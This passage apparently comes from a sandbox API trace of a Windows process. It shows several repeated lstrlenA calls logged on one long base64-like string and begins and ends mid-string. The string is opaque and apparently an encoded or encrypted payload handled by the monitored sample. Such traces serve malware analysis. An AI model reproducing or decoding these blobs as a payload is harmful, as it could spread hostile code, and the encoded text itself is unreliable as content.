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") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSpp